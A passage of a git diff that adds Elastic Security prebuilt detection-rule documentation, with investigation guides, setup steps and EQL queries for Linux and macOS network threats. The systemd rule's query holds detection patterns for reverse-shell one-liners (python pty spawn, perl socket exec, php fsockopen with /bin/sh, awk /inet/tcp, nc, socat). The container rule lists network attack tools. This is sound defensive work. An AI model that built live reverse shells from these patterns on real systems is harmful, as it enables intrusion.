Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Network Activity Detected via cat - afd04601-12fc-4149-9b78-9c3f8fe45d39 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat +- Filebeat +- Packetbeat + + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Packetbeat Setup* + +Packetbeat is a real-time network packet analyzer that you can use for application monitoring, performance analytics, and threat detection. Packetbeat works by capturing the network traffic between your application servers, decoding the application layer protocols (HTTP, MySQL, Redis, and so on), correlating the requests with the responses, and recording the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Packetbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/packetbeat/current/setup-repositories.html[helper guide]. +- To run Packetbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/packetbeat/current/running-on-docker.html[helper guide]. +- For quick start information for Packetbeat refer to the https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Packetbeat” information refer to the https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:network and event.action:(connection_attempted or ipv4_connection_attempt_event) and +process.executable : ( + /etc/crontab or /etc/rc.local or ./* or /boot/* or /dev/shm/* or /etc/cron.*/* or /etc/init.d/* or /etc/rc*.d/* or + /etc/update-motd.d/* or /home/*/.* or /tmp/* or /usr/lib/update-notifier/* or /var/log/* or /var/tmp/* +) and process.name : * and +not ( + process.executable : ( + /tmp/newroot/* or /tmp/snap.rootfs* or /etc/cron.hourly/BitdefenderRedline or /tmp/go-build* or /srv/snp/docker/* or + /run/containerd/* or /tmp/.mount* or /run/k3s/containerd/* or /tmp/selenium* or /tmp/tmp.*/juliainstaller or + /tmp/.criu.mntns* or /home/*/.local/share/containers/* or /etc/update-motd.d/* + ) or + source.ip:(10.0.0.0/8 or 127.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) or + process.name : ( + apt or chrome or curl or dnf or dockerd or dpkg or firefox-bin or git-remote-https or java or kite-update or + kited or node or rpm or saml2aws or selenium-manager or solana-validator or wget or yum or ansible* or aws* or + php* or pip* or python* or steam* or terraform* or filebeat or apk or cursor or http + ) or + destination.ip:( + 0.0.0.0 or 10.0.0.0/8 or 100.64.0.0/10 or 127.0.0.0/8 or 169.254.0.0/16 or 172.16.0.0/12 or 192.0.0.0/24 or + 192.0.0.0/29 or 192.0.0.10/32 or 192.0.0.170/32 or 192.0.0.171/32 or 192.0.0.8/32 or 192.0.0.9/32 or 192.0.2.0/24 or + 192.168.0.0/16 or 192.175.48.0/24 or 192.31.196.0/24 or 192.52.193.0/24 or 192.88.99.0/24 or 198.18.0.0/15 or + 198.51.100.0/24 or 203.0.113.0/24 or 224.0.0.0/4 or 240.0.0.0/4 or "::1" or "FE80::/10" or "FF00::/8" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-connection-via-systemd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-connection-via-systemd.asciidoc new file mode 100644 index 0000000000..c7ec98d048 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-connection-via-systemd.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-20-suspicious-network-connection-via-systemd]] +=== Suspicious Network Connection via systemd + +Detects suspicious network events executed by systemd, potentially indicating persistence through a systemd backdoor. Systemd is a system and service manager for Linux operating systems, used to initialize and manage system processes. Attackers can backdoor systemd for persistence by creating or modifying systemd unit files to execute malicious scripts or commands, or by replacing legitimate systemd binaries with compromised ones, ensuring that their malicious code is automatically executed at system startup or during certain system events. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Network Connection via systemd* + + +Systemd is a critical component in Linux, managing system processes and services. Adversaries exploit it by altering unit files or replacing binaries to ensure malicious scripts run at startup, achieving persistence. The detection rule identifies unusual network activities initiated by systemd, flagging potential backdoor usage by monitoring specific processes and network attempts, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process details to identify the specific script or command executed by systemd, focusing on the process names such as "python*", "php*", "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk". +- Examine the parent process information to confirm that the suspicious process was indeed initiated by systemd, ensuring the parent process name is "systemd". +- Investigate the network connection attempt details, including the destination IP address and port, to determine if the connection is to a known malicious or suspicious endpoint. +- Check the process executable path to ensure it is not a known legitimate path, especially looking for unusual paths that might indicate a compromised binary, excluding "/tmp/newroot/bin/curl". +- Analyze the systemd unit files on the host to identify any unauthorized modifications or additions that could indicate persistence mechanisms. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. +- Consult threat intelligence sources to gather more context on the IP addresses or domains involved in the network connection attempt. + + +*False positive analysis* + + +- Legitimate administrative scripts or maintenance tasks that use scripting languages like Python, PHP, or Perl may trigger the rule. To handle this, identify and document these scripts, then create exceptions for their specific process names or paths. +- Automated system monitoring tools that perform network checks using utilities like netcat or telnet might be flagged. Review these tools and whitelist their process names or executable paths to prevent false alerts. +- Custom applications or services that are legitimately started by systemd and initiate network connections could be misidentified. Verify these applications and add them to an allowlist based on their process names or parent entity IDs. +- Development or testing environments where developers frequently use scripting languages for network operations may cause false positives. Consider excluding these environments from monitoring or creating specific rules that account for their unique behaviors. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, particularly those initiated by systemd that match the specified process names (e.g., python, php, perl). +- Review and restore any modified or suspicious systemd unit files to their original state, ensuring no unauthorized scripts or commands are set to execute at startup. +- Conduct a thorough scan of the affected system for additional indicators of compromise, focusing on persistence mechanisms and unauthorized network connections. +- Reinstall or verify the integrity of systemd binaries to ensure they have not been replaced or tampered with by malicious actors. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for systemd-related activities and network connections to detect similar threats in the future. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "systemd" and ( + process.name in ( + "openssl", "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "socat", "busybox", "mkfifo", + "nohup", "setsid", "xterm", "telnet" + ) or + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name == "node" and process.args == "-e" and process.args : "*spawn*sh*" and process.args : "*connect*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("rvim", "vim", "vimdiff", "rview", "view") and process.args == "-c" and process.args : "*socket*") + ) and + not ( + process.args in ("/usr/bin/pg_ctlcluster", "/usr/bin/pveproxy", "/usr/sbin/pveum", "/usr/bin/pveupdate") or + process.executable like ( + "/usr/local/cpanel/*/bin/perl", "/opt/puppetlabs/puppet/bin/ruby", "/opt/unified-monitoring-agent/embedded/bin/ruby" + ) or + process.command_line in ( + "/usr/bin/perl /usr/sbin/pveum realm sync planet", + "/usr/bin/perl -T /usr/bin/pveproxy start", "/usr/bin/perl /usr/bin/pveupdate" + ) + ) + ] by process.entity_id + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and + not process.executable == "/tmp/newroot/bin/curl"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-tool-launched-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-tool-launched-inside-a-container.asciidoc new file mode 100644 index 0000000000..a69fac217f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-network-tool-launched-inside-a-container.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-suspicious-network-tool-launched-inside-a-container]] +=== Suspicious Network Tool Launched Inside A Container + +This rule detects commonly abused network utilities running inside a container. Network utilities like nc, nmap, dig, tcpdump, ngrep, telnet, mitmproxy, zmap can be used for malicious purposes such as network reconnaissance, monitoring, or exploitation, and should be monitored closely within a container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/cve-2021-25741-kubelet-falco/ + +*Tags*: + +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Command and Control +* Tactic: Reconnaissance +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Network Tool Launched Inside A Container* + + +Containers are lightweight, portable units that encapsulate applications and their dependencies, often used to ensure consistent environments across development and production. Adversaries exploit network tools within containers for reconnaissance or lateral movement, leveraging utilities like `nc` or `nmap` to map networks or intercept traffic. The detection rule identifies these tools' execution by monitoring process starts and arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Examine the process arguments to understand the specific command or options used, which may provide insight into the intent of the tool's execution. +- Check the container's creation and modification timestamps to determine if the container was recently deployed or altered, which could indicate suspicious activity. +- Investigate the user or service account associated with the process start event to assess if it aligns with expected behavior or if it might be compromised. +- Analyze network logs and traffic patterns from the container to identify any unusual outbound connections or data exfiltration attempts. +- Correlate the alert with other security events or logs from the same container or host to identify potential lateral movement or further malicious activity. + + +*False positive analysis* + + +- Development and testing environments often use network tools for legitimate purposes such as debugging or network configuration. To manage this, create exceptions for containers identified as part of these environments by tagging them appropriately and excluding them from the rule. +- Automated scripts or orchestration tools may trigger network utilities for routine checks or maintenance tasks. Identify these scripts and whitelist their associated container IDs or process names to prevent false alerts. +- Some monitoring solutions deploy containers with built-in network tools for performance analysis. Verify the legitimacy of these containers and exclude them from the rule by using specific labels or container IDs. +- Containers used for educational or training purposes might intentionally run network tools. Ensure these containers are marked and excluded from detection by setting up rules based on their unique identifiers or labels. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further network reconnaissance or lateral movement. This can be done by restricting its network access or stopping the container entirely. +- Conduct a thorough review of the container's logs and process history to identify any unauthorized access or data exfiltration attempts. Focus on the execution of the flagged network utilities. +- Remove any unauthorized or suspicious network tools from the container to prevent further misuse. Ensure that only necessary and approved utilities are present. +- Patch and update the container image to address any vulnerabilities that may have been exploited. Rebuild and redeploy the container using the updated image. +- Implement network segmentation to limit the container's access to sensitive resources and reduce the potential impact of similar threats in the future. +- Enhance monitoring and alerting for the execution of network utilities within containers, ensuring that any future occurrences are detected promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or containers have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name in ( + "nc.traditional", "nc", "ncat", "netcat", "nmap", "tcpdump", "tshark", "ngrep", "telnet", + "mitmproxy", "socat", "zmap", "masscan", "zgrab" +) and +not (process.name in ("nc.traditional", "nc", "ncat", "netcat") and process.args like ("-*z*", "localhost", "127.0.0.1")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc new file mode 100644 index 0000000000..14e8c8b41d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-suspicious-outbound-network-connection-via-unsigned-binary]] +=== Suspicious Outbound Network Connection via Unsigned Binary + +Detects the execution of an unsigned or untrusted binary followed by an outbound network connection to a raw IP address on a non-standard port. Many malicious payloads will connect directly to C2 or a payload server using non-standard ports. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Outbound Network Connection via Unsigned Binary* + + +Unsigned or untrusted binaries making outbound network connections to raw IP addresses on non-standard ports is a significant indicator of malware activity. Legitimate macOS applications are typically code-signed by Apple or identified developers, while malware often lacks valid signatures. This detection rule identifies this suspicious combination of unsigned binaries with network activity to detect potential command and control communication or data exfiltration attempts. + + +*Possible investigation steps* + + +- Review the process.executable and process.hash fields to identify the unsigned binary and search for its hash in threat intelligence databases and malware repositories. +- Examine the process.code_signature fields to understand why the binary is untrusted, including whether it lacks a signature entirely or has an invalid or revoked certificate. +- Analyze the destination.ip and destination.port fields to identify the remote endpoint and research it in threat intelligence sources for known malicious infrastructure. +- Investigate the process.parent.executable and process.command_line to understand how the unsigned binary was launched and trace the execution chain to the initial access vector. +- Review file.creation and file.modification events to determine when and how the unsigned binary was placed on the system. +- Check for persistence mechanisms that may have been created by or for the unsigned binary, such as LaunchAgents, LaunchDaemons, or cron jobs. +- Correlate with other network events from the same host to identify patterns of C2 communication or additional indicators of compromise. + + +*False positive analysis* + + +- Custom internal tools developed in-house may be unsigned and require network access for legitimate business purposes. Verify with development teams and consider adding specific exclusions. +- Development builds and testing environments may use unsigned binaries during the software development lifecycle. Document these activities and create targeted exceptions. +- Open-source utilities compiled locally may not have code signatures. Evaluate these on a case-by-case basis and add to exclusion lists if verified safe. +- Homebrew and other package manager binaries are already excluded but verify that legitimate tools from these sources are not being flagged. + + +*Response and remediation* + + +- Immediately terminate the unsigned process and block the destination IP address at network perimeters and endpoint firewalls. +- Quarantine the unsigned binary for forensic analysis and malware reverse engineering. +- Conduct a comprehensive scan of the affected system to identify additional malware components, persistence mechanisms, or lateral movement indicators. +- Investigate how the unsigned binary was delivered to the system and remediate the initial access vector. +- Review other systems in the environment for the same binary hash or similar indicators of compromise. +- Implement application allowlisting policies to prevent unauthorized unsigned binaries from executing. +- Escalate to the incident response team for further investigation if the binary is confirmed malicious. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + (process.code_signature.trusted == false or process.code_signature.exists == false) and + process.args_count == 1 and + not process.executable like "/opt/homebrew/*"] + [network where host.os.type == "macos" and event.type == "start" and + destination.domain == null and + not destination.port in (443, 80, 53, 22, 25, 587, 993, 465, 8080, 8200, 9200) and + destination.port < 49152 and + not cidrmatch(destination.ip, "0.0.0.0", "240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", + "198.19.0.0/16", "192.18.0.0/15", "192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", + "169.254.0.0/16", "172.16.0.0/12", "192.0.2.0/24", "192.31.196.0/24", + "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", + "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-passwd-file-event-action.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-passwd-file-event-action.asciidoc new file mode 100644 index 0000000000..5894772639 --- /dev/null +++ 